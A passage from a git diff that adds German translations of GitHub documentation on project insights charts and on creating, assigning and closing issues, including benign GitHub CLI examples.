+Du kannst aktuelle Diagramme erstellen, um deine Projektelemente zu visualisieren. Du kannst z. B. Diagramme erstellen, um anzuzeigen, wie viele Elemente jeder einzelnen Person zugewiesen werden, oder wie viele Issues jeder bevorstehenden Iteration zugewiesen werden.
+
+Außerdem kannst du Filter verwenden, um die Daten zu bearbeiten, die zum Erstellen deines Diagramms verwendet werden. Du kannst z. B. ein Diagramm erstellen, das zeigt, wie viel anstehende Arbeit du hast, diese Ergebnisse jedoch auf bestimmte Bezeichnungen oder zugewiesene Personen beschränken. Weitere Informationen findest du unter [Filtering projects](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects) („Filtern von Projekten“).
+
+ ![Screenshot eines gestapelten Säulendiagramms mit Elementtypen für jede Iteration](/assets/images/help/issues/column-chart-example.png)
+
+Weitere Informationen findest du unter [Erstellen von Diagrammen](/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/creating-charts).
+
+ ### Informationen zu Verlaufsdiagrammen
+
+ Verlaufsdiagramme sind zeitbasierte Diagramme, mit denen du die Trends und Fortschritte deines Projekts anzeigen kannst. Du kannst die Anzahl der Elemente gruppiert nach Status und anderen Feldern im Zeitverlauf anzeigen.
+ 
+ Das Standarddiagramm „Burn up“ zeigt den Elementstatus im Zeitverlauf an, sodass du den Fortschritt und Spotmuster im Lauf der Zeit visualisieren kannst. 
+
+![Screenshot eines Beispiels für das Burn up-Standarddiagramm für die aktuelle Iteration](/assets/images/help/issues/burnup-example.png)
+
+ Wenn du ein Verlaufsdiagramm erstellen möchtest, lege die X-Achse des Diagramms auf „Zeit“ fest. Weitere Informationen findest du unter [Erstellen von Diagrammen](/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/creating-charts) und [Konfigurieren von Diagrammen](/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/configuring-charts).
+
+## Weiterführende Themen
+
+- [Informationen zu {% data variables.product.prodname_projects_v2 %}](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects)
+- [Deaktivieren von Erkenntnissen für {% data variables.product.prodname_projects_v2 %} in deiner Organisation](/organizations/managing-organization-settings/disabling-insights-for-projects-in-your-organization)
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/configuring-charts.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/configuring-charts.md
new file mode 100644
index 0000000000..63c073e1b7
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/configuring-charts.md
@@ -0,0 +1,42 @@
+---
+title: Konfigurieren von Diagrammen
+intro: 'Erfahre, wie du Diagramme konfigurierst und Daten aus deinem Projekt filterst.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+type: tutorial
+product: '{% data reusables.gated-features.historical-insights-for-projects %}'
+topics:
+  - Projects
+ms.openlocfilehash: dd8f97ac69beb90a511c36ddd0a51f0e16b2d4b3
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108478'
+---
+{% ifversion fpt %}
+
+{% note %}
+
+**Hinweis:** Verlaufsdiagramme sind derzeit als Featurevorschau verfügbar.
+
+{% endnote %}
+
+{% endif %}
+
+{% data reusables.projects.access-insights %}
+1. Klicke im Menü links auf das Diagramm, das du konfigurieren möchtest.
+   ![Screenshot: Auswählen eines Kundendiagramms](/assets/images/help/projects-v2/insights-select-a-chart.png)
+1. Klicke rechts oben auf der Seite auf **Konfigurieren**. Ein Panel wird auf der rechten Seite geöffnet.
+   ![Screenshot der Schaltfläche „Konfigurieren“](/assets/images/help/projects-v2/insights-configure.png)
+1. Um den Diagrammtyp zu ändern, wählst du die Dropdownliste **Layout** aus und klickst auf den gewünschten Diagrammtyp.
+   ![Screenshot: Auswählen eines Diagrammlayouts](/assets/images/help/projects-v2/insights-layout.png)
+1. Um das Feld zu ändern, das für die X-Achse deines Diagramms verwendet wird, wählst du die Dropdownliste der **X-Achse** aus und klickst auf das Feld, das du verwenden möchtest.
+   ![Screenshot: Auswählen der Anzeige auf der x-Achse](/assets/images/help/projects-v2/insights-x-axis.png)
+1. Wenn du optional die Elemente auf der X-Achse nach einem anderen Feld gruppieren möchtest, wähle **Gruppieren nach** aus, und klicke dann auf das gewünschte Feld. Du kannst auch auf „Keine“ klicken, um die Gruppierung zu deaktivieren.
+   ![Screenshot: Auswählen einer Gruppierungsmethode](/assets/images/help/projects-v2/insights-group.png)
+1. Wenn dein Projekt Zahlenfelder enthält und du auf der Y-Achse die Summe, den Durchschnitt, das Minimum oder das Maximum eines dieser Zahlenfelder anzeigen möchtest, wählst du die **Y-Achse** aus und klickst auf eine Option. Wähle dann die Dropdownliste aus, die darunter angezeigt wird, und klicke auf das Zahlenfeld, das du verwenden möchtest. 
+   ![Screenshot: Auswählen der Anzeige auf der y-Achse](/assets/images/help/projects-v2/insights-y-axis.png)
+1. Um dein Diagramm zu speichern, klickst du auf **Änderungen speichern**.
+   ![Screenshot der Schaltfläche „Speichern“](/assets/images/help/projects-v2/insights-save.png)
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/creating-charts.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/creating-charts.md
new file mode 100644
index 0000000000..317eafa3a8
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/creating-charts.md
@@ -0,0 +1,25 @@
+---
+title: Erstellen von Diagrammen
+intro: 'Erfahre, wie du neue Diagramme erstellst, um deine Konfigurationen zu speichern.'
+miniTocMaxHeadingLevel: 3
+versions:
+  feature: projects-v2
+type: tutorial
+product: '{% data reusables.gated-features.historical-insights-for-projects %}'
+topics:
+  - Projects
+ms.openlocfilehash: c708476decfb76086f32d96d8fc1e085030ae37e
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108402'
+---
+{% data reusables.projects.access-insights %}
+3. Klicke im Menü auf der linken Seite auf **Neues Diagramm**.
+   ![Screenshot der Schaltfläche „Neues Diagramm“](/assets/images/help/projects-v2/insights-new-chart.png)
+4. Um optional den Namen des neuen Diagramms zu ändern, klickst du auf {% octicon "triangle-down" aria-label="The triangle icon" %}, gibst einen neuen Namen ein und drückst die <kbd>EINGABETASTE</kbd>.
+   ![Screenshot zum Umbenennen eines Diagramms](/assets/images/help/projects-v2/insights-rename.png)
+5. Gib über dem Diagramm Filter ein, um die Daten zu ändern, die zum Erstellen des Diagramms verwendet werden. Weitere Informationen findest du unter [Filtering projects](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/filtering-projects) („Filtern von Projekten“).
+6. Klicke rechts neben dem Filtertextfeld auf **Änderungen speichern**.
+   ![Screenshot der Schaltfläche „Speichern“](/assets/images/help/projects-v2/insights-save-filter.png)
diff --git a/translations/de-DE/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/index.md b/translations/de-DE/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/index.md
new file mode 100644
index 0000000000..b51c7fa4a2
--- /dev/null
+++ b/translations/de-DE/content/issues/planning-and-tracking-with-projects/viewing-insights-from-your-project/index.md
@@ -0,0 +1,23 @@
+---
+title: 'Anzeigen von Erkenntnissen aus deinem {% data variables.projects.project_v2 %}'
+shortTitle: Viewing insights
+intro: 'Mithilfe von Erkenntnissen kannst du deine Projekte visualisieren, indem du aus den Projektdaten erstellte Diagramme erstellst und mit anderen teilst.'
+versions:
+  feature: projects-v2
+topics:
+  - Issues
+  - Projects
+product: '{% data reusables.gated-features.historical-insights-for-projects %}'
+children:
+  - /about-insights-for-projects
+  - /creating-charts
+  - /configuring-charts
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 648ad452662e3be907a85bf87cfe6e359594aa3e
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108423'
+---
+
diff --git a/translations/de-DE/content/issues/tracking-your-work-with-issues/about-issues.md b/translations/de-DE/content/issues/tracking-your-work-with-issues/about-issues.md
new file mode 100644
index 0000000000..f8b4c769ee
--- /dev/null
+++ b/translations/de-DE/content/issues/tracking-your-work-with-issues/about-issues.md
@@ -0,0 +1,62 @@
+---
+title: Informationen zu Issues
+intro: 'Verwende {% data variables.product.prodname_github_issues %}, um Ideen, Feedback, Aufgaben oder Fehler für die Arbeit auf {% data variables.product.company_short %} nachzuverfolgen.'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/about-issues
+  - /articles/creating-issues
+  - /articles/about-issues
+  - /github/managing-your-work-on-github/about-issues
+  - /issues/tracking-your-work-with-issues/creating-issues/about-issues
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+  - Issues
+  - Project management
+ms.openlocfilehash: e3352dbbc88da85680885b728dcb393d5ae3579f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147422732'
+---
+## Integriert mit GitHub
+
+Mit Issues kannst du deine Arbeit auf {% data variables.product.company_short %} nachverfolgen, wo die Entwicklung passiert. Wenn du ein Issue in einem anderen Issue oder Pull Request erwähnst, spiegelt die Zeitachse des Issues den Querverweis wieder, damit du verwandte Arbeiten nachverfolgen kannst. Um anzugeben, dass die Arbeit ausgeführt wird, kannst du ein Issue mit einem Pull Request verknüpfen. Wenn der Pull Request zusammenführt wird, wird das verknüpfte Issue automatisch geschlossen.
+
+Weitere Informationen zu Schlüsselwörtern findest du unter [Verknüpfen eines Pull Requests mit einem Issue](/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword).
+
+## Schnelles Erstellen von Issues
+
+Issues können auf verschiedene Arten erstellt werden, sodass du die bequemste Methode für deinen Workflow auswählen kannst. Du kannst beispielsweise ein Issue aus einem Repository erstellen, {% ifversion fpt or ghec %} ein Element in einer Aufgabenliste, {% endif %} eine Notiz in einem Projekt, einen Kommentar in einem Issue oder Pull Request, eine bestimmte Codezeile oder eine URL-Abfrage. Du kannst auch ein Issue über deine bevorzugte Plattform erstellen: über die Webbenutzeroberfläche, {% data variables.product.prodname_desktop %}, {% data variables.product.prodname_cli %}, GraphQL und REST APIs oder {% data variables.product.prodname_mobile %}. Weitere Informationen findest du unter [Erstellen eines Issues](/issues/tracking-your-work-with-issues/creating-issues/creating-an-issue).
+
+## Arbeit nachverfolgen
+
+Du kannst Issues mit Projekten organisieren und priorisieren. {% ifversion fpt or ghec %}Um Issues als Teil eines größeren Isses nachzuverfolgen, kannst du Aufgabenlisten verwenden.{% endif %} Um verwandte Issues zu kategorisieren, kannst du Bezeichnungen und Meilensteine verwenden.
+
+Weitere Informationen zu Projekten findest du unter {% ifversion projects-v2 %}[Informationen zu Projekten](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects). {% else %}[Organisieren deiner Arbeit in Projektboads](/issues/organizing-your-work-with-project-boards).{% endif %} {% ifversion fpt or ghec %} Weitere Informationen zu Aufgabenlisten findest du unter [Informationen zu Aufgabenlisten](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists). {% endif %}Weitere Informationen zu Bezeichnungen und Meilensteinen findest du unter [Verwenden von Bezeichnungen und Meilensteinen zum Nachverfolgen der Arbeit](/issues/using-labels-and-milestones-to-track-work).
+
+## Auf dem Laufenden bleiben
+
+Um über die neuesten Kommentare in einem Issue auf dem Laufenden zu bleiben, kannst du ein Issue abonnieren, um Benachrichtigungen zu den neuesten Kommentaren zu erhalten. Um schnell Links zu kürzlich aktualisierten Issues zu finden, besuche dein Dashboard. Weitere Informationen findest du unter [Informationen zu Benachrichtigungen](/github/managing-subscriptions-and-notifications-on-github/about-notifications) und [Informationen zu deinem persönlichen Dashboard](/articles/about-your-personal-dashboard).
+
+## Communityverwaltung
+
+Um Projektmitarbeiter*innen dabei zu helfen, aussagekräftige Issues zu erstellen,die für dich erforderliche Informationen enthalten, kannst du {% ifversion fpt or ghec %}Issueformulare und {% endif %}Issuevorlagen verwenden. Weitere Informationen findest du unter [Verwenden von Vorlagen zur Unterstützung nützlicher Issues und Pull Requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests).
+
+{% ifversion fpt or ghec %}Um ein gesundes Communityumfeld zu schaffen, kannst du Kommentare melden, die gegen die [Communityrichtlinien](/free-pro-team@latest/github/site-policy/github-community-guidelines) von {% data variables.product.prodname_dotcom %} verstoßen. Weitere Informationen findest du unter [Melden von Missbrauch oder Spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam).{% endif %}
+
+## Effiziente Kommunikation
+
+Du kannst die Projektmitarbeiter*innen mit „@“ erwähnen (@mention), die Zugriff auf dein Repository in einem Issue haben, um deren Aufmerksamkeit auf diesen Kommentar zu lenken. Um verwandte Issues im gleichen Repository zu verknüpfen, kannst du `#` gefolgt von einem Teil des Issuetitels eingeben und dann auf das Issue klicken, das du verknüpfen möchtest. Um Verantwortung zu kommunizieren, kannst du Issues zuweisen. Wenn du häufig denselben Kommentar eingeben musst, kannst du gespeicherte Antworten verwenden.
+{% ifversion fpt or ghec %} Weitere Informationen findest du unter [Grundlegende Schreib- und Formatierungssyntax](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) und [Zuweisen von Issues und Pull Requests an andere GitHub-Benutzer](/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users).
+{% endif %} {% ifversion discussions %}
+## Vergleichen von Issues und Diskussionen
+
+Einige Unterhaltungen eignen sich besser für {% data variables.product.prodname_discussions %}. {% data reusables.discussions.you-can-use-discussions %} Anleitungen zur Verwendung eines Issues oder einer Diskussion findest du unter [Kommunikation über GitHub](/github/getting-started-with-github/quickstart/communicating-on-github).
+
+Wenn eine Unterhaltung in einem Issue besser für eine Diskussion geeignet ist, kannst du das Issue in eine Diskussion konvertieren.
+{% endif %}
diff --git a/translations/de-DE/content/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users.md b/translations/de-DE/content/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users.md
new file mode 100644
index 0000000000..40c4f7904e
--- /dev/null
+++ b/translations/de-DE/content/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users.md
@@ -0,0 +1,53 @@
+---
+title: Issues und Pull Requests anderen GitHub-Benutzern zuweisen
+intro: 'Zugewiesene Bearbeiter stellen klar, wer bestimmte Issues und Pull Requests bearbeitet.'
+permissions: 'Anyone with write access to a repository can assign issues and pull requests. {% data reusables.enterprise-accounts.emu-permission-repo %}'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/assigning-issues-and-pull-requests-to-other-github-users
+  - /articles/assigning-issues-and-pull-requests-to-other-github-users
+  - /github/managing-your-work-on-github/assigning-issues-and-pull-requests-to-other-github-users
+  - /issues/tracking-your-work-with-issues/managing-issues/assigning-issues-and-pull-requests-to-other-github-users
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+shortTitle: Assign issues & PRs
+ms.openlocfilehash: 0e1f4029ddcd180e892e43257ae3a75d0046ce1d
+ms.sourcegitcommit: 219fb805abddaef3e5547638bd798da890020bfd
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147876822'
+---
+## Informationen zu den zugewiesenen Personen für Issues und Pull Requests
+
+Du kannst jedem Issue oder Pull Request mehrere Personen zuweisen: dich selbst, jede Person, die das Issue oder den Pull Request kommentiert hat, jede Person, die Schreibberechtigungen für das Repository hat, sowie Organisationsmitglieder mit Leseberechtigung für das Repository. Weitere Informationen findest du unter [Zugriffsberechtigungen für {% data variables.product.prodname_dotcom %}](/articles/access-permissions-on-github).
+
+Issues und Pull Requests in öffentlichen Repositorys und in privaten Repositorys für ein kostenpflichtiges Konto können bis zu 10 Personen zugewiesen werden. Private Repositorys im kostenlosen Plan sind auf eine Person pro Issue oder Pull Request beschränkt.
+
+## Zuweisen eines einzelnen Issues oder Pull Requests
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %}
+3. Öffne das Issue oder den Pull Request, das bzw. den du einer Person zuweisen möchtest.
+4. Wenn einem Issue oder Pull Request keine Person zugewiesen ist, klicke auf **Selbst zuweisen**, um dich selbst zuzuweisen.
+  ![Element zum Zuweisen der eigenen Person](/assets/images/help/issues/assign_yourself.png)
+5. Klicke im Menü auf der rechten Seite auf **Zugewiesene Personen**.
+   ![Menüelement „Zugewiesene Personen“](/assets/images/help/issues/assignee_menu.png)
+6. Um das Issue oder den Pull Request Benutzer*innen zuzuweisen, beginne die entsprechenden Benutzernamen einzugeben. Wenn sie angezeigt werden, kannst du sie auswählen. Du kannst bis zu zehn Bearbeiter auswählen und zu einem Issue oder Pull Request hinzufügen.
+  ![Dropdownmenü für das Zuweisen von Issues](/assets/images/help/issues/issues_assigning_dropdown.png)
+
+## Zuweisen mehrerer Issues oder Pull Requests
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %}
+3. Aktiviere das Kontrollkästchen neben den Elementen, die Du jemandem zuweisen möchtest.
+  ![Kontrollkästchen für Issuemetadaten](/assets/images/help/issues/issues_assign_checkbox.png)
+4. Klicke rechts oben auf **Zuweisen**.
+5. Um die Elemente einem Benutzer zuzuweisen, beginne den entsprechenden Benutzernamen einzugeben. Wenn er angezeigt wird, wähle ihn aus. Du kannst bis zu zehn Bearbeiter auswählen und zu einem Issue oder Pull Request hinzufügen.
+  ![Dropdownmenü für das Zuweisen von Issues](/assets/images/help/issues/issues_assigning_dropdown.png)
+
+## Weiterführende Themen
+
+* [Filtern von Issues und Pull Requests nach zugewiesene Personen](/articles/filtering-issues-and-pull-requests-by-assignees)
diff --git a/translations/de-DE/content/issues/tracking-your-work-with-issues/closing-an-issue.md b/translations/de-DE/content/issues/tracking-your-work-with-issues/closing-an-issue.md
new file mode 100644
index 0000000000..7ca834f9ff
--- /dev/null
+++ b/translations/de-DE/content/issues/tracking-your-work-with-issues/closing-an-issue.md
@@ -0,0 +1,35 @@
+---
+title: Schließen eines Problems
+intro: 'Du kannst ein Issue schließen, wenn Fehler behoben wurden, Feedback umgesetzt wurde oder um zu zeigen, dass keine weiteren Aktivitäten geplant sind.'
+permissions: 'Anyone can close an issue they opened.<br><br>Repository owners, collaborators on repositories owned by a personal account, and people with triage permissions or greater on repositories owned by an organization can close issues opened by others. {% data reusables.enterprise-accounts.emu-permission-repo %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Issues
+  - Project management
+shortTitle: Close an issue
+ms.openlocfilehash: 889775474dc94f10c62e59916e1fa13b263b3474
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147060426'
+---
+{% note %}
+
+**Hinweis**: Du kannst Issues auch automatisch mittels Schlüsselwörtern in Pull Requests und Commitnachrichten schließen. Weitere Informationen findest du unter [Verknüpfen eines Pull Requests mit einem Issue](/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword#linking-a-pull-request-to-an-issue-using-a-keyword).
+
+{% endnote %}
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %}
+1. Klicke in der Issueliste auf das Issue, das du schließen möchtest.
+{%- ifversion issue-close-reasons %}
+1. Wenn du den Grund für das Schließen des Issues ändern möchtest, wähle {% octicon "triangle-down" aria-label="The down triangle octicon" %} neben „Issue schließen“ aus und klicke auf einen Grund.
+   ![Screenshot des Dropdownmenüs mit Gründen zum Schließen des Issues](/assets/images/help/issues/close-issue-select-reason.png)
+2. Klicke auf **Issue schließen**.
+   ![Screenshot der Schaltfläche „Issue schließen“](/assets/images/help/issues/close-issue-with-reason.png) {%- else %}
+1. Klicke unten auf der Seite auf **Issue schließen**.
+   ![Screenshot der Schaltfläche „Issue schließen“](/assets/images/help/issues/close-issue.png) {% endif %}
diff --git a/translations/de-DE/content/issues/tracking-your-work-with-issues/creating-a-branch-for-an-issue.md b/translations/de-DE/content/issues/tracking-your-work-with-issues/creating-a-branch-for-an-issue.md
new file mode 100644
index 0000000000..a39703d2cb
--- /dev/null
+++ b/translations/de-DE/content/issues/tracking-your-work-with-issues/creating-a-branch-for-an-issue.md
@@ -0,0 +1,40 @@
+---
+title: Erstellen eines Branches zum Arbeiten an einem Problem
+intro: Du kannst direkt auf der Issueseite einen Branch zum Arbeiten an dem Issue erstellen und sofort beginnen.
+versions:
+  fpt: '*'
+  ghes: '>=3.5'
+  ghae: '>= 3.5'
+  ghec: '*'
+allowTitleToDifferFromFilename: true
+topics:
+  - Issues
+shortTitle: Create branch for issue
+ms.openlocfilehash: 062b41705836537de23d882acc5342e0713c316d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147061137'
+---
+{% note %}
+
+**Hinweis:** Die Möglichkeit, einen Branch für ein Problem zu erstellen, befindet sich derzeit in der öffentlichen Betaversion und kann geändert werden.
+
+{% endnote %}
+
+## Über Branches, die mit einem Problem verbunden sind
+Branches, die mit einem Problem verbunden sind, werden im Abschnitt „Entwicklung“ in der Seitenleiste eines Problems angezeigt. Wenn du eine Pull Request für einen dieser Branches erstellst, wird er automatisch mit dem Problem verknüpft. Die Verbindung mit diesem Branch wird entfernt, und nur der Pull Request wird im Abschnitt „Entwicklung“ angezeigt. Weitere Informationen findest du unter [Verknüpfen eines Pull Requests mit einem Issue](/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue).
+
+## Erstellen eines Branches für ein Problem
+
+Jeder, der die Schreibberechtigung für ein Repository besitzt, kann einen Branch für ein Problem erstellen. Du kannst mehrere Branches für ein Problem verknüpfen.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %}
+3. Klicke in der Liste der Probleme auf das Problem, für das du einen Branch erstellen möchtest.
+4. Klicke in der rechten Randleiste unter „Entwicklung“ auf **Branch erstellen**. Wenn das Problem bereits über einen verknüpften Branch oder einen Pull Request verfügt, klicke auf {% octicon "gear" aria-label="The Gear icon" %} und am unteren Rand des Dropdownmenüs auf **Branch erstellen**.
+   ![Screenshot mit hervorgehobener Option „Branch erstellen“ in der Seitenleiste](/assets/images/help/issues/create-a-branch.png)
+5. Standardmäßig wird der neue Branch im aktuellen Repository aus dem Standard-Branch erstellt. Bearbeite den Branchnamen und die Details nach Bedarf im Dialogfeld „Branch für dieses Problem erstellen“.
+   ![Screenshot der Optionen im Dialogfeld „Branch erstellen“](/assets/images/help/issues/create-a-branch-options.png)
+6. Wähle aus, ob du lokal am Branch arbeiten oder ihn in GitHub Desktop öffnen möchtest.
+7. Wenn du bereit bist, den Branch zu erstellen, klicke auf **Branch erstellen**.
diff --git a/translations/de-DE/content/issues/tracking-your-work-with-issues/creating-an-issue.md b/translations/de-DE/content/issues/tracking-your-work-with-issues/creating-an-issue.md
new file mode 100644
index 0000000000..0a49fcf075
--- /dev/null
+++ b/translations/de-DE/content/issues/tracking-your-work-with-issues/creating-an-issue.md
@@ -0,0 +1,156 @@
+---
+title: Einen Issue erstellen
+intro: 'Issues können auf verschiedene Arten erstellt werden, sodass du die bequemste Methode für deinen Workflow auswählen kannst.'
+permissions: 'People with read access can create an issue in a repository where issues are enabled. {% data reusables.enterprise-accounts.emu-permission-repo %}'
+redirect_from:
+  - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/creating-an-issue
+  - /articles/creating-an-issue
+  - /github/managing-your-work-on-github/creating-an-issue
+  - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/opening-an-issue-from-a-comment
+  - /github/managing-your-work-on-github/opening-an-issue-from-a-comment
+  - /issues/tracking-your-work-with-issues/creating-issues/opening-an-issue-from-a-comment
+  - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/opening-an-issue-from-code
+  - /articles/opening-an-issue-from-code
+  - /github/managing-your-work-on-github/opening-an-issue-from-code
+  - /issues/tracking-your-work-with-issues/creating-issues/opening-an-issue-from-code
+  - /issues/tracking-your-work-with-issues/creating-issues/about-automation-for-issues-and-pull-requests-with-query-parameters
+  - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/about-automation-for-issues-and-pull-requests-with-query-parameters
+  - /articles/about-automation-for-issues-and-pull-requests-with-query-parameters
+  - /github/managing-your-work-on-github/about-automation-for-issues-and-pull-requests-with-query-parameters
+  - /issues/tracking-your-work-with-issues/creating-issues/creating-an-issue
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pull requests
+  - Issues
+  - Project management
+shortTitle: Create an issue
+type: how_to
+ms.openlocfilehash: 21bef9325848b6242b505a8c28ec65483b36448f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147410083'
+---
+Mit Issues kannst du Fehler, Verbesserungen oder andere Anforderungen nachverfolgen. Weitere Informationen findest du unter [Informationen zu Issues](/issues/tracking-your-work-with-issues/about-issues).
+
+{% data reusables.repositories.administrators-can-disable-issues %}
+
+## Erstellen eines Issues aus einem Repository
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} {% data reusables.repositories.new_issue %}
+1. Wenn dein Repository Issuevorlagen verwendet, klicke neben dem Typ des Issues, das du öffnen möchtest, auf **Erste Schritte**.
+  ![Wähle den Typ des zu erstellenden Issues aus](/assets/images/help/issues/issue_template_get_started_button.png) oder klicke auf **Leeres Issue öffnen**, wenn der Typ des zu erstellenden Issues nicht in den verfügbaren Optionen enthalten ist.
+   ![Link zum Öffnen eines leeren Issues](/assets/images/help/issues/blank_issue_link.png) {% data reusables.repositories.type-issue-title-and-description %} {% data reusables.repositories.assign-an-issue-as-project-maintainer %} {% data reusables.repositories.submit-new-issue %}
+
+## Erstellen eines Issues mit {% data variables.product.prodname_cli %}
+
+{% data reusables.cli.about-cli %} Weitere Informationen zu {% data variables.product.prodname_cli %} findest du unter [Informationen zu {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli).
+
+Führe zum Erstellen eines Issues den Unterbefehl `gh issue create` aus. Um die interaktiven Eingabeaufforderungen zu überspringen, musst du die Flags `--body` und `--title` einschließen.
+
+```shell
+gh issue create --title "My new issue" --body "Here are more details."
+```
+
+Du kannst auch zugewiesene Personen, Bezeichnungen, Meilensteine und Projekte angeben.
+
+```shell
+gh issue create --title "My new issue" --body "Here are more details." --assignee @me,monalisa --label "bug,help wanted" --project onboarding --milestone "learning codebase"
+```
+
+## Erstellen eines Issues aus einem Kommentar
+
+Du kannst ein neues Issue aus einem Kommentar in einem Issue oder Pull Request öffnen. Wenn du einen Issue aus einem Kommentar öffnest, wird der Issue ein Ausschnitt enthalten, der zeigt, wo der Kommentar ursprünglich eingestellt wurde.
+
+1. Navigiere zu dem Kommentar, den du in ein Issue umwandeln möchtest.
+2. Klicke in diesem Kommentar auf das Symbol {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
+  ![Drei-Punkte-Menü im Reviewkommentar des Pull Request](/assets/images/help/pull_requests/kebab-in-pull-request-review-comment.png)
+3. Klicke auf **In neuem Issue darauf verweisen**.
+  ![Menüpunkt „In neuem Issue darauf verweisen“](/assets/images/help/pull_requests/reference-in-new-issue.png)
+4. Verwende das Dropdownmenü „Repository" und wähle das Repository, in welchem du den Issue öffnen möchtest.
+  ![Dropdownmenü „Repository“ für neue Issues](/assets/images/help/pull_requests/new-issue-repository.png)
+5. Gib einen beschreibenden Titel und Text für den Issue ein.
+  ![Titel und Text für neues Issue](/assets/images/help/pull_requests/new-issue-title-and-body.png)
+6. Klicke auf **Issue erstellen**.
+  ![Schaltfläche zum Erstellen eines neuen Issues](/assets/images/help/pull_requests/create-issue.png) {% data reusables.repositories.assign-an-issue-as-project-maintainer %} {% data reusables.repositories.submit-new-issue %}
+
+## Erstellen eines Issues aus Code
+
+Du kannst neue Issues von einer bestimmten Codezeile oder über mehreren Codezeilen in einer Datei oder einem Pull Request öffnen. Wenn du einen Issue im Code öffnest, enthält der Issue einen Ausschnitt mit den ausgewählten Codezeilen. Du kannst einen Issue nur in dem Repository öffnen, in dem der Code gespeichert ist.
+
+![Code-Ausschnitt in einem Issue eingefügt, der im Code geöffnet wurde](/assets/images/help/repository/issue-opened-from-code.png)
+
+{% data reusables.repositories.navigate-to-repo %}
+1. Suche den Code, auf den du in einem Issue verweisen möchtest:
+    - Um einen Issue zu Code in einer Datei zu öffnen, navigiere zu dieser Datei.
